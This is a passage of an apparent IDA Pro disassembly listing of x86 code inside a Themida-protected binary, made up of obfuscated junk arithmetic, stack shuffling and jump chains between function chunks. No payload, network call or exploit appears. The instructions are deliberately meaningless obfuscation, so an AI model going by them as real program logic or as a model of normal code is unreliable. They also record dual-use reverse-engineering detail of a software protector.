; END OF FUNCTION CHUNK	FOR sub_56E126

; =============== S U B	R O U T	I N E =======================================



sub_564B5A	proc near		; CODE XREF: sub_574503+D0Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00568BC1 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_568BC1
sub_564B5A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_564B65:				; CODE XREF: sub_575420-13DC8j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	bh, dl
		pop	dx
		add	al, 0F4h
		sub	al, 0A1h
		jmp	loc_571E44
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_564B78:				; CODE XREF: sub_563A7F-1E63j
		add	esp, 4
		xor	al, dl
		pop	edx
		push	edx
		push	ebx
		jmp	loc_565E2D
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_564B88:				; CODE XREF: sub_572075-59F8j
		add	ecx, 51BA3346h
		add	ecx, ebp
		sub	ecx, 51BA3346h
		jmp	loc_5720C0
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_564B9B:				; CODE XREF: sub_56A7FB+9413j
		push	cx
		push	edx
		jmp	loc_560FBF
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_564BA3:				; CODE XREF: sub_566AF9+2AC6j
		mov	eax, 5D917D94h
		inc	eax
		add	eax, 16CA6A20h
		jmp	loc_56C6F8
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_564BB3:				; CODE XREF: sub_56EE9F-B307j
		xor	edi, 1B384420h
		inc	edi
		push	ecx
		mov	ecx, 35E118Ah
		jmp	loc_56C65D
; END OF FUNCTION CHUNK	FOR sub_56EE9F

; =============== S U B	R O U T	I N E =======================================



sub_564BC5	proc near		; CODE XREF: sub_563DCB+10534j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056353A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563AFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005646A6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564F74 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A093 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A79A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AE8B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BD2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DE25 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056DF59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EA1A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571722 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571FAD SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_56353A
sub_564BC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_564BD0	proc near		; DATA XREF: Themida_:0055FD5Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		pop	ecx
		push	4383h
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebp, [esp+8+var_8]
		push	1607h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		jmp	sub_574CDD
sub_564BD0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_564BF8:				; CODE XREF: sub_568D93+9BB3j
		pop	ebx
		dec	ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, 10CE1747h
		sub	ecx, 48B97936h
		not	ecx
		add	ecx, 0B7A6AA14h
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_573132
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_564C1F:				; CODE XREF: sub_56616D+D4A0j
		xor	ecx, edx
		jmp	loc_5748A1
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_564C26:				; CODE XREF: sub_56F782-45F3j
		and	ebp, 2DCF11E4h
		shl	ebp, 7
		sub	ebp, 4A2F72E8h
		shr	ebp, 5
		dec	ebp
		xor	ebp, 0B2C8E3h
		jmp	loc_56CFAE
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_564C44:				; CODE XREF: sub_569A84+725Bj
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	eax
		jmp	loc_56A87C
; END OF FUNCTION CHUNK	FOR sub_569A84

; =============== S U B	R O U T	I N E =======================================



sub_564C54	proc near		; CODE XREF: sub_56EB4A+1845j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056310C SIZE 00000006 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_56310C
sub_564C54	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_564C68:				; CODE XREF: sub_56EE9F-4116j
		pop	edx
		jmp	loc_563B75
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------


loc_564C6E:				; CODE XREF: Themida_:00563BF6j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	3747h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		add	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 233A0FF7h
		sub	ebp, 233A0FF3h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_569FCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_564CAF:				; CODE XREF: sub_56638C-3F5Ej
		sub	esi, 1C927267h
		pop	edi
		push	211Fh
		jmp	loc_56169E
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_564CC0:				; CODE XREF: sub_574CBE-10E61j
		sub	eax, esi
		pop	esi
		add	eax, esi
		add	eax, 412D5C32h
		push	edi
		mov	edi, 2D4849A7h
		add	eax, 17C657AFh
		jmp	sub_5736FA
; END OF FUNCTION CHUNK	FOR sub_574CBE

; =============== S U B	R O U T	I N E =======================================



sub_564CDA	proc near		; CODE XREF: sub_56C83E-8730j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005604E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563837 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563CE1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565726 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B111 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056EC3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EF17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F61F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005710C3 SIZE 0000001E BYTES

		push	ebp
		push	596370AAh
		pop	ebp
		xor	ebp, 5C351C55h
		mov	edx, ebp
		pop	ebp
		sub	edx, 1034402Fh
		xor	edx, 0F5222CD4h
		jmp	loc_5710C3
sub_564CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747AF


loc_564CFB:				; CODE XREF: sub_5747AF-FFC6j
		mov	ebp, 4
		add	[esp+18h+var_14], ebp
		jmp	loc_56271D
; END OF FUNCTION CHUNK	FOR sub_5747AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_564D09:				; CODE XREF: sub_573876-8620j
		mov	edi, [esp+4+var_4]
		jmp	loc_568EBB
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_564D11:				; CODE XREF: sub_56F1DB-5C83j
		push	edx
		jmp	loc_569450
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_564D17:				; CODE XREF: sub_5738F4-511j
		mov	edi, 0BA837851h
		sub	edi, esi
		pop	esi
		shl	edi, 1
		jmp	loc_575481
; END OF FUNCTION CHUNK	FOR sub_5738F4

; =============== S U B	R O U T	I N E =======================================



sub_564D26	proc near		; CODE XREF: sub_567D31-10CBj

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560074 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056011F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056031C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00560576 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00560AF7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00560F8D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005617D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561D50 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00561FA4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00562433 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562527 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005627F4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005629B3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563216 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00563231 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005635BE SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056363F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00563E76 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00564A49 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00564F6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056549E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005658B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565CF4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566431 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056695F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00566C6B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005670CD SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567284 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056830D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056878A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00568B2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005695E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569694 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056993E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569FB0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A248 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A54A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056AA02 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AA60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B296 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B544 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056BD93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BE07 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056C5E1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C891 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CCDB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056D098 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D33B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D6ED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DC75 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056DE34 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E39C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E70E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056E988 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EE02 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F231 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F573 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056F928 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056FAFD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056FBB4 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056FE17 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056FF43 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FF6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057056F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00570DCB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570F64 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571055 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005714CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571C68 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057210B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572230 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0057233B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005726D1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057275F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057393E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573CF7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005745F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574B15 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574C3A SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 2B40229Ah
		not	ecx
		and	ecx, 46AA36FDh
		xor	ecx, 5FE77DAAh
		jmp	loc_56E70E
sub_564D26	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_564D45:				; CODE XREF: sub_565849+98EAj
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		rol	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_564D54:				; CODE XREF: sub_570621+2Cj
		not	ebx
		inc	ebx
		shl	ebx, 1
		dec	ebx
		add	ebx, 28205878h
		add	ebx, 0C1CBA9B5h
		jmp	loc_573160
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_564D6B:				; CODE XREF: sub_5713A7-413Ej
		sub	eax, 22C44741h
		sub	eax, 47743D03h
		jmp	loc_56FA23
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_564D7A:				; CODE XREF: sub_568E5C+8694j
		sub	eax, 66744DA4h
		sub	eax, ebp
		add	eax, 66744DA4h
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 44980400h
		jmp	loc_564556
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------


loc_564D97:				; CODE XREF: Themida_:0056EF72j
		pop	ebp
		jmp	loc_562B50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_564D9D:				; CODE XREF: sub_560844+8263j
		and	ecx, 584C7E32h
		push	ebx
		jmp	loc_56C56B
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573B49


loc_564DA9:				; CODE XREF: sub_573B49-81BAj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_573B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568DD7


loc_564DAE:				; CODE XREF: sub_568DD7+967Ej
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_568DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_564DB3:				; CODE XREF: sub_56749A-372Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		jmp	loc_56A802
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_564DC5:				; CODE XREF: sub_56EFD2-1060j
		mov	[esp+4+var_4], ebp
		push	908h
		mov	[esp+8+var_8], esi
		push	ebx
		mov	ebx, 57B46FB7h
		and	ebx, 480513F3h
		shl	ebx, 2
		shr	ebx, 1
		jmp	loc_570983
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_564DE6:				; CODE XREF: sub_575420-35D4j
		dec	cl
		add	cl, 0E3h
		shl	cl, 6
		add	cl, 0CFh
		xor	cl, 0EEh
		add	al, cl
		jmp	loc_562C8F
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_564DFB:				; CODE XREF: sub_56B06D-5707j
		mov	ebp, 2F3B4242h
		push	edi
		mov	edi, 33EC42DAh
		mov	ebx, 0BD0CF63Bh
		xor	ebx, edi
		pop	edi
		sub	ebx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ecx
		jmp	loc_5644AA
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_564E1C:				; CODE XREF: sub_5638E4-23FBj
		add	esi, 4F1B41C6h
		add	esi, ebx
		jmp	loc_564919
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_564E29:				; CODE XREF: sub_567D31+8330j
		pop	esp
		xchg	ecx, [esp+0]
		pop	esp
		mov	esi, [esp-4+arg_0]
		jmp	loc_56F806
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565AFE


loc_564E36:				; CODE XREF: sub_565AFE+33j
		mov	edi, 55C9027Eh
		inc	edi
		jmp	loc_563FE0
; END OF FUNCTION CHUNK	FOR sub_565AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_564E41:				; CODE XREF: sub_56E126-79DCj
		shr	ebx, 2
		xor	ebx, 2674E45Fh
		sub	edi, 53D93622h
		sub	edi, ebx
		jmp	loc_56D647
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------


loc_564E57:				; CODE XREF: Themida_:00572720j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_572ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_564E72:				; CODE XREF: sub_56E05C+7479j
		xor	edi, 76C025E4h
		jmp	loc_563945
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_564E7D:				; CODE XREF: sub_5673C3+3124j
		pop	[esp-8+arg_4]
		pop	esp
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_567CE8
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_564E97:				; CODE XREF: sub_567D31-4DBEj
		xor	esi, ecx
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, 4287A2Dh
		add	edi, ebp
		jmp	loc_564157
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_564EB8:				; CODE XREF: sub_5685B2+A89Ej
		pop	ebx
		jmp	loc_56F7AB
; END OF FUNCTION CHUNK	FOR sub_5685B2

; =============== S U B	R O U T	I N E =======================================



sub_564EBE	proc near		; CODE XREF: sub_565B6E+6C07j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056275E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005630CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005643C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565A32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567F04 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568575 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00568D38 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C695 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00572F4E SIZE 0000001F BYTES

		sub	esp, 4
		jmp	loc_568D38
sub_564EBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_564EC6:				; CODE XREF: sub_561027+5FFAj
		pop	esi
		jmp	loc_569C48
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_564ECC:				; CODE XREF: sub_566400+3617j
		xor	ebp, 254B4C53h
		push	64D3h
		mov	[esp+8+var_8], edx
		push	ebx
		push	edx
		mov	edx, 5CB846C0h
		mov	ebx, edx
		pop	edx
		jmp	loc_56C5D5
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_564EE9:				; CODE XREF: sub_569A84+74D2j
		add	eax, 0DA89652h
		mov	edx, eax
		pop	eax
		or	edx, 74B24BAFh
		add	edx, 5A5A38A0h
		push	ebx
		mov	ebx, 0D759889Dh
		add	edx, 4EE356Dh
		sub	edx, ebx
		sub	edx, 4EE356Dh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_572479
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_564F2B:				; CODE XREF: sub_56AEF2+5D73j
		sub	bl, al
		pop	eax
		jmp	loc_56C29E
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_564F33:				; CODE XREF: sub_572641-87A0j
		push	cx
		mov	cl, 0C0h
		sub	al, cl
		pop	cx
		jmp	loc_57189C
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562BA0


loc_564F40:				; CODE XREF: sub_562BA0+9088j
		add	edx, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	sub_5722C8
; END OF FUNCTION CHUNK	FOR sub_562BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_564F4E:				; CODE XREF: sub_560844+DD72j
		xor	esi, 0AD1BC4DDh
		add	edx, esi
		pop	esi
		sub	eax, 67C76322h
		add	eax, edx
		add	eax, 67C76322h
		pop	edx
		add	eax, ebp
		push	ebp
		jmp	loc_569144
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_564F6C:				; CODE XREF: sub_564D26+862Ej
		mov	ebp, edi
		pop	edi
		jmp	loc_56031C
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_564F74:				; CODE XREF: sub_564BC5-514j
		add	edx, ecx
		pop	ecx
		add	edi, edx
		jmp	loc_56A093
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_564F7E:				; CODE XREF: sub_56E126-46Dj
		xor	esi, 5AB445FAh
		sub	esi, 0EC6924E6h
		and	ebx, esi
		jmp	loc_5603D1
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_564F91:				; CODE XREF: sub_56B11B+34Ej
		sub	[esp+10h+var_10], esi
		jmp	loc_57157C
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_564F99:				; CODE XREF: sub_56D3AF+1716j
		push	6218h
		mov	[esp+4+var_4], esi
		sub	esp, 4
		jmp	loc_562EBE
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_564FAC:				; CODE XREF: sub_5610CE+1Aj
		xor	edi, 1D5FFFDAh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		push	edi
		push	ebp
		mov	ebp, 4A0C6E0Ah
		push	ebx
		push	12330013h
		pop	ebx
		add	ebx, 184927D2h
		and	ebx, 223D3B49h
		inc	ebx
		or	ebx, 50D60E62h
		xor	ebx, 38F2416Ch
		xor	ebp, ebx
		pop	ebx
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+0]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		push	ebx
		jmp	loc_560B21
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_565000:				; CODE XREF: sub_56B06D+2BCEj
		push	[esp+8+var_8]
		jmp	loc_569D2F
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_565008:				; CODE XREF: sub_57354D+Fj
		push	5577h
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_56668F
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_565023:				; CODE XREF: sub_560056+E92Dj
		push	eax
		mov	eax, esp
		jmp	loc_564953
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56502B:				; CODE XREF: sub_56FA15+4ED3j
		mov	ah, 31h
		mov	dh, 0D7h
		add	dh, ah
		pop	eax
		push	edx
		mov	dh, 6Dh
		shr	dh, 1
		not	dh
		jmp	loc_560374
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572270


loc_56503E:				; CODE XREF: sub_572270+12j
		push	esi
		push	68A221ABh
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	sub_5653AD
; END OF FUNCTION CHUNK	FOR sub_572270

; =============== S U B	R O U T	I N E =======================================



sub_56504F	proc near		; CODE XREF: sub_561541-1343j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560038 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566F09 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_560038
sub_56504F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_56505A:				; CODE XREF: sub_56DA43-CC08j
		add	esi, 4
		push	ecx
		jmp	loc_566180
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56666D


loc_565063:				; CODE XREF: sub_56666D+9j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	351Eh
		mov	[esp+0Ch+var_C], ecx
		push	esi
		mov	esi, 3D074458h
		mov	ecx, esi
		mov	esi, [esp+10h+var_10]
		jmp	loc_57513D
; END OF FUNCTION CHUNK	FOR sub_56666D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


